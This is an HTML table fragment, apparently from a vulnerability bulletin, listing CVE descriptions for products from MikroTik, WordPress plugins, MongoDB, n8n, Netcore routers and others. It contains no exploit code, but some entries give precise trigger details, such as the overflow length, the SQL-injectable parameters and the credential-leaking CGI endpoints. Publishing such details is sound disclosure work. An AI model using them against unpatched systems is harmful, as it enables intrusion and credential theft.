&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56719&quot; target=&quot;_blank&quot;&gt;CVE-2026-56719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MikroTik--RouterOS&lt;/td&gt;
&lt;td&gt;MikroTik RouterOS before 7.24.2 contains a path traversal vulnerability in the container package OCI/tar image extraction that allows attackers to write files outside the container root by supplying a crafted container image with symlinks pointing to arbitrary paths. Attackers can exploit unsanitized tar member path extraction during container import via /container/add to achieve root-privileged file creation, directory creation, file deletion via overlayfs whiteout, and hardlink creation on the persistent data partition without ever starting the container. The 7.23.x long-term branch does not contain this fix; the container binaries in container-7.23.3.npk and container-7.23.4.npk are byte-identical, and there is no fixed long-term release at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89021&quot; target=&quot;_blank&quot;&gt;CVE-2026-89021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MikroTik--RouterOS&lt;/td&gt;
&lt;td&gt;MikroTik RouterOS before 7.23.4 (long-term) and 7.24.2 (stable) contains a stack-based buffer overflow vulnerability in the mtget binary&#039;s TFTP RRQ builder function that allows authenticated users to crash the mtget worker process by supplying a URL path of 507 bytes or more to the /tool fetch command; the first write outside the 528-byte buffer occurs at 505 bytes. Attackers can trigger the overflow by issuing a fetch command with a crafted tftp:// URL path, which causes an unbounded rep movsb instruction to overwrite saved registers at a deterministic offset, crashing the process without requiring a reachable TFTP server or elevated privileges beyond read-only group membership.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89020&quot; target=&quot;_blank&quot;&gt;CVE-2026-89020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;miniOrange--JWT Authentication for WP REST APIs&lt;/td&gt;
&lt;td&gt;miniOrange JWT Authentication for WP REST APIs plugin for WordPress before 4.8.0 contains an authentication method downgrade vulnerability that allows unauthenticated attackers to bypass administrator-configured authentication by supplying a specific GET parameter without any capability check or nonce verification. Attackers can force the plugin to use Basic HTTP authentication regardless of configured JWT or API token settings, then exploit distinguishable error codes and the absence of rate limiting to perform unthrottled username enumeration and credential guessing attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89027&quot; target=&quot;_blank&quot;&gt;CVE-2026-89027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mischiefmarmot--Create&lt;/td&gt;
&lt;td&gt;The Create plugin for WordPress is vulnerable to generic SQL Injection via the &#039;order_by&#039; parameter in all versions up to, and including, 2.5.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The REST endpoint permission callback defaults to the publish_posts capability, meaning any Author-level user or above can reach the vulnerable code path without any additional preconditions.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13191&quot; target=&quot;_blank&quot;&gt;CVE-2026-13191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mischiefmarmot--Create&lt;/td&gt;
&lt;td&gt;The Create plugin for WordPress is vulnerable to generic SQL Injection via the &#039;order&#039; parameter in all versions up to, and including, 2.5.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerable advanced-filter SQL branch is only entered when at least one of the following parameters is present in the request: linked_posts, created_after, created_before, missing_fields, post_id, a comma-separated type value, or exclude_type.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13200&quot; target=&quot;_blank&quot;&gt;CVE-2026-13200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mkreyman--mcp-memory-keeper&lt;/td&gt;
&lt;td&gt;MCP Memory Keeper is an MCP server for persistent context management in AI coding assistants. Prior to 0.13.0, context_import in src/index.ts passes the caller-controlled filePath directly to fs.readFileSync without restricting the path to an export directory. An MCP client, including an LLM agent induced to call the tool, can use ../ traversal or an absolute path to target any file readable by the server process. A valid JSON file is parsed and imported into the caller&#039;s session, allowing its full contents to be retrieved through context_get or context_export, while JSON.parse errors for non-JSON files can return leading file bytes in a SyntaxError message. The two disclosure modes can expose other exported sessions, JSON credentials or service-account files, environment files, and portions of SSH keys or other local files. This issue is fixed in version 0.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54561&quot; target=&quot;_blank&quot;&gt;CVE-2026-54561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mlrun--mlrun&lt;/td&gt;
&lt;td&gt;MLRun through 1.11.0 contains a server-side request forgery vulnerability in the WebhookNotification handler that allows authenticated users to make the API server send arbitrary HTTP requests to internal addresses. Attackers can update a run with a malicious webhook notification that executes when the run reaches a terminal state, enabling requests to internal services, Kubernetes APIs, or cloud metadata endpoints from within the cluster.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92568&quot; target=&quot;_blank&quot;&gt;CVE-2026-92568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;modelcontextprotocol--rust-sdk&lt;/td&gt;
&lt;td&gt;RMCP is an official Rust SDK for the Model Context Protocol. Prior to 2.1.0, the rmcp crate&#039;s StreamableHttpClientTransport in crates/rmcp/src/transport/common/reqwest/streamable_http_client.rs builds its default_http_client with reqwest&#039;s automatic redirect policy and applies caller-supplied values from StreamableHttpClientTransportConfig.custom_headers without marking them as sensitive. When a malicious or compromised MCP endpoint returns a cross-origin 307 or 308 redirect, reqwest follows the redirect and apply_custom_headers causes custom API keys or authentication tokens to be replayed to the new origin, where an attacker can capture and reuse them. The separate auth_header path is not affected because it uses the standard Authorization header, which reqwest strips on cross-origin redirects. This issue is fixed in version 2.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64684&quot; target=&quot;_blank&quot;&gt;CVE-2026-64684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mojolicious--mojo&lt;/td&gt;
&lt;td&gt;Mojolicious is a real-time web framework for Perl. Prior to 9.48, the Mojolicious CSRF helpers csrf_field, csrf_token, and csrf_protect reuse an unchanged per-session token in rendered HTML. When response compression is enabled and attacker-influenced content is reflected in the same response, an unauthenticated attacker who can induce many victim requests and observe response sizes can use a BREACH compression side channel to recover the token and forge cross-site requests. API-only deployments that never render the token in HTML are not affected. This issue is fixed in version 9.48.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77568&quot; target=&quot;_blank&quot;&gt;CVE-2026-77568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moment--moment&lt;/td&gt;
&lt;td&gt;moment is a JavaScript date library for parsing, validating, manipulating, and formatting dates. In versions 2.29.2 through 2.30.1, a specially crafted non-string object passed to moment.locale() can bypass the locale-name path-traversal guard. The guard assumes the input is a string, so an object whose match() method satisfies the check while its toString() returns a traversal path reaches an internal require() call with attacker-controlled path segments. This is an incomplete fix for CVE-2022-24785 and primarily affects npm (server-side) users that pass user-provided input directly to moment.locale(). The issue is fixed in moment 2.31.0, and users should upgrade to 2.31.0 or later. As a workaround, validate that any user-supplied input is a string before passing it to moment.locale().&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17495&quot; target=&quot;_blank&quot;&gt;CVE-2026-17495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--C Driver&lt;/td&gt;
&lt;td&gt;A missing lower-bound validation in the bson_new_from_buffer() function of libbson allows an integer underflow when processing BSON data with a zero-length prefix. The function reads a 32-bit document length from the input buffer but does not verify that the value is at least 5 (the minimum valid BSON document size) before using it in an array index calculation. When the length field is zero, the expression used to check the document&#039;s null terminator wraps to UINT32_MAX, causing a heap out-of-bounds read that crashes the process. An unauthorized party who can supply crafted BSON input to an application using this API can cause a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93395&quot; target=&quot;_blank&quot;&gt;CVE-2026-93395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--MongoDB Entity Framework Core Provider&lt;/td&gt;
&lt;td&gt;Applications built on MongoDB Entity Framework Core Provider which combine independent encryption settings and this provider&#039;s encryption settings may silently lose TLS and schema-map settings leading to protected fields being stored unencrypted in the database.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92756&quot; target=&quot;_blank&quot;&gt;CVE-2026-92756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--MongoDB Entity Framework Core Provider&lt;/td&gt;
&lt;td&gt;Applications built on MongoDB Entity Framework Core Provider which place a database name in the connection string may inadvertently disable field level encryption.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92757&quot; target=&quot;_blank&quot;&gt;CVE-2026-92757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--MongoDB Entity Framework Core Provider&lt;/td&gt;
&lt;td&gt;If logging mode is set to DEBUG or a malformed MongoDB connection string is used, application logs may collect sensitive information (if in use) such as passwords and AWS secure access keys.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92758&quot; target=&quot;_blank&quot;&gt;CVE-2026-92758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
&lt;td&gt;A protection mechanism failure in the object-document mapper&#039;s encryption configuration generation can cause fields that an application declared for client-side field-level encryption to be written and kept in cleartext, without any error or warning. A party holding ordinary read access to the database can then read values that were intended to be protected from that party. This may result in unintended disclosure of sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93763&quot; target=&quot;_blank&quot;&gt;CVE-2026-93763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
&lt;td&gt;Mongoid may omit encryption rules for fields declared on embedded models when generating the client-side field-level encryption schema. Applications that enable this feature can therefore store values intended to be encrypted in readable form, with no error or warning. A party with routine read access to the database, a backup, or the underlying data files may then see data that was meant to remain unreadable outside the application.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93764&quot; target=&quot;_blank&quot;&gt;CVE-2026-93764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;motioneye-project--motioneye&lt;/td&gt;
&lt;td&gt;motionEye (mEye) is an online interface for a piece of software called &quot;motion,&quot; which is a video surveillance program with motion detection. Prior to 0.44.0, the ActionHandler.post() method in motioneye/handlers/action.py lacks the BaseHandler.auth() decorator, allowing an unauthenticated remote attacker to send requests to /action/&amp;lt;camera_id&amp;gt;/&amp;lt;action&amp;gt;. The endpoint can trigger snapshot, record_start, and record_stop actions. When an administrator has configured action scripts, the same endpoint can invoke PTZ controls, alarm actions, lighting actions, and other predefined commands, and configured remote motionEye cameras can allow server-side requests to the remote camera service. This issue is fixed in version 0.44.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55863&quot; target=&quot;_blank&quot;&gt;CVE-2026-55863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;multer--multer&lt;/td&gt;
&lt;td&gt;multer is a Node.js middleware for handling multipart/form-data uploads. In versions 2.2.0 through 2.3.0, when a request using disk storage is aborted mid-upload, file writes that complete after multer has already run its abort cleanup are not removed, so each aborted upload can leave an orphaned file on disk. A remote unauthenticated attacker can repeatedly start and abort uploads to accumulate orphaned files and exhaust disk space, causing a denial of service. The issue is fixed in multer 2.4.0, and users should upgrade to 2.4.0 or later.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88932&quot; target=&quot;_blank&quot;&gt;CVE-2026-88932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mySCADA Technologies--mySCADA myPRO&lt;/td&gt;
&lt;td&gt;The myPRO Manager notification gateway exposes an unauthenticated HTTP endpoint used to send SMS messages through a connected GSM modem. The endpoint is accessible over the network and does not require authentication before accepting a phone number and message from a request and sending the specified SMS message. An unauthenticated attacker with network access to the notification gateway could exploit this vulnerability to send arbitrary SMS messages through the connected modem.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82567&quot; target=&quot;_blank&quot;&gt;CVE-2026-82567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;N-able--Mail Assure&lt;/td&gt;
&lt;td&gt;N-able Mail Assure through April 2026 contains a design-level authorization flaw that allows an authenticated SMTP user to send outbound email using MAIL FROM addresses belonging to other tenants. When connecting to the SMTP TCP port and performing SMTP AUTH with valid credentials, the server accepts arbitrary sender domains without enforcing any domain-to-account binding. As a result, an attacker from any tenant can impersonate other tenant domains, producing messages that pass SPF and DMARC validation. NOTE: N-able&#039;s position is that the behavior is intended functionality of its shared SMTP relay architecture and that the service does not represent that it enforces per-tenant sender-domain binding.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-68624&quot; target=&quot;_blank&quot;&gt;CVE-2025-68624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n8n-io--n8n&lt;/td&gt;
&lt;td&gt;n8n is a workflow automation platform. In versions before 1.123.76, 2.37.7, and 2.38.2, the Git node validated a relative remote URL against the configured repositoryPath but then invoked git with that path as its working directory; git walked up to the enclosing repository&#039;s top level and resolved the same relative URL from there. An authenticated user (member) who nested the repository one level below the configured path could therefore make an identical URL string pass the file-access check while git resolved it outside the sandbox. A subsequent fetch or pull read a git repository outside N8N_RESTRICT_FILE_ACCESS_TO and merged its objects into the user&#039;s own repository, where their contents could be read back. The issue is fixed in n8n 1.123.76, 2.37.7, and 2.38.2, which resolve the remote reference from the directory git actually operates in before applying the sandbox check. As a workaround, the Git node can be disabled by adding n8n-nodes-base.git to NODES_EXCLUDE.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92587&quot; target=&quot;_blank&quot;&gt;CVE-2026-92587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n8n-io--n8n&lt;/td&gt;
&lt;td&gt;n8n is a workflow automation platform. In n8n versions before 1.123.76, 2.37.7, and 2.38.2, the source control push endpoint derived the set of files to push from the file paths and status supplied in the client request payload instead of from the server-side status computed for the requesting user. An authenticated project-scoped user (e.g., a project admin) could therefore reference files belonging to projects they have no access to and push a deletion of those projects&#039; workflows and credentials, resulting in cross-project data destruction. Exploitation requires the Source Control (Environments) enterprise feature to be licensed, enabled, and connected to a remote repository. The issue is fixed in 1.123.76, 2.37.7, and 2.38.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92588&quot; target=&quot;_blank&quot;&gt;CVE-2026-92588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nanocoai--NanoClaw&lt;/td&gt;
&lt;td&gt;A vulnerability was found in nanocoai NanoClaw up to 2.1.17. This issue affects the function forwardAttachedFiles of the file src/modules/agent-to-agent/agent-route.ts of the component Attachment Handler. The manipulation results in link following. The attack may be performed from remote. The exploit has been made public and could be used. The patch is identified as 3f9ed607b7e7a4872747295f75286f1c377d7c33. It is advisable to implement a patch to correct this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90807&quot; target=&quot;_blank&quot;&gt;CVE-2026-90807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ncarlier--webhookd&lt;/td&gt;
&lt;td&gt;webhookd is a minimalist webhook server that triggers shell scripts and external processes through HTTP requests. Prior to 1.22.0, webhookd deployments without htpasswd authentication forwarded all incoming HTTP headers through HTTPParamsToShellVars in pkg/api/index.go into the hook script environment without an allowlist. When an upstream reverse proxy did not strip a client-supplied X-WebAuthn-User header and a hook script trusted that variable for identity or privilege, a remote unauthenticated attacker could spoof another user, bypass script security controls, and access or modify resources available to the impersonated identity. This issue is fixed in version 1.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59157&quot; target=&quot;_blank&quot;&gt;CVE-2026-59157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NCEAS--metacat&lt;/td&gt;
&lt;td&gt;Metacat is data repository software that helps researchers preserve, share, and discover data. Prior to 3.4.2, MetacatSolrIndex.query forwards the client-controlled qt parameter through Apache SolrJ from search endpoints such as /d1/mn/v2/query/solr/ to its privileged Solr backend. An unauthenticated client can select the /admin/file handler, and SolrJ reformats the parameter into a request accepted even when handleSelect=false is configured on Solr 7.0 or later. When Solr returns the selected core configuration file, Metacat embeds the raw content in an XML processing error response, disclosing internal files such as solrconfig.xml and enabling infrastructure profiling. This issue is fixed in version 3.4.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50022&quot; target=&quot;_blank&quot;&gt;CVE-2026-50022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netbox-community--devicetype-library&lt;/td&gt;
&lt;td&gt;NetBox Device Type Library is a collection of community-sourced device type definitions for import into NetBox. In the affected repository revisions, NETBOX_DT_LIBRARY_URL in tests/test_configuration.py is a free-form tracked constant that an unauthenticated pull-request author can change before the validation test harness runs. During pytest collection, tests/definitions_test.py passes the value to Repo.clone_from and create_remote(&quot;upstream&quot;).fetch(), causing blind Git smart-HTTP requests to an attacker-selected host or loading attacker-controlled tests/known-*.json validation caches. The blind request cannot set arbitrary metadata-service headers or return response bodies, and this path does not execute remote Git hooks, but substituted known data can bypass slug, module, and rack uniqueness validation. This vulnerability is fixed in commit 8980c690097e92f5028c7e6df402b327d827ecd5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54918&quot; target=&quot;_blank&quot;&gt;CVE-2026-54918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in l7_web_auth_user_show.cgi related to captive-portal credential handling. Attackers can query this component to obtain captive-portal user credentials, compromising confidentiality of authenticated network access.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76854&quot; target=&quot;_blank&quot;&gt;CVE-2026-76854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in the audit endpoints handled by l7_web_auth_log_dump_cgi.c, audit_get_cgi.c, and mod_dispatch_auth/plan.json. Attackers can query these audit components to obtain other users&#039; session and browsing history data across sessions.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76855&quot; target=&quot;_blank&quot;&gt;CVE-2026-76855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V firmware version 1.5.130703 contains a sensitive information disclosure vulnerability in the ddns_wan_list_show.cgi endpoint and related DDNSset_cgi, IGD_GetCgiHandler, and IGD_CgiCall components. Attackers who reach this CGI handler can obtain plaintext DDNS credentials, exposing sensitive account information.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76857&quot; target=&quot;_blank&quot;&gt;CVE-2026-76857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in the user_pass_show.cgi component. Low-privilege attackers can exploit this flaw via ui_config_2.xml and misc.js to disclose router credentials.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76859&quot; target=&quot;_blank&quot;&gt;CVE-2026-76859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in mod_vpn_remote/plan.json, pptpd_user_show.cgi, pptp_client_config_show.cgi, and l2tpd_user_show.cgi. Attackers can leverage these components to obtain PPTP and L2TP VPN credentials.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76871&quot; target=&quot;_blank&quot;&gt;CVE-2026-76871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in l2tpd_config_show_cgi.c, ipsec_show_cgi.c, and mod_vpn_remote/plan.json read handlers. Attackers can query l2tpd_config_show.cgi to expose stored IPsec PSK and RSA key material.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92256&quot; target=&quot;_blank&quot;&gt;CVE-2026-92256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V firmware version 1.5.130703 contains a stored cross-site scripting vulnerability in routing and NAT configuration CGI components including routing_tab_add_cgi, routing_table_list_show_cgi, route_policy_add_cgi, and route_policy_parame_show_cgi. Attackers can inject persistent script payloads through these route and NAT configuration pages, which are then executed in the context of users viewing the affected pages.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76867&quot; target=&quot;_blank&quot;&gt;CVE-2026-76867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a stored cross-site scripting vulnerability in DHCP static IP and IP ACL management pages, including dhcp_add_staticip_cgi, dhcp_staticip_show_cgi, ip_acl_set_cgi, and ip_acl_show_cgi. Attackers can inject persistent malicious scripts through these components to compromise the web management interface for other users.&#039;&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76872&quot; target=&quot;_blank&quot;&gt;CVE-2026-76872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a stored cross-site scripting vulnerability in the DHCP dynamic IP display and ARP bind list display components handling hostname fields. A LAN-based attacker can inject malicious script through these hostname fields, which is later rendered by network_config.js and network_security.js in the web management interface.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76873&quot; target=&quot;_blank&quot;&gt;CVE-2026-76873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
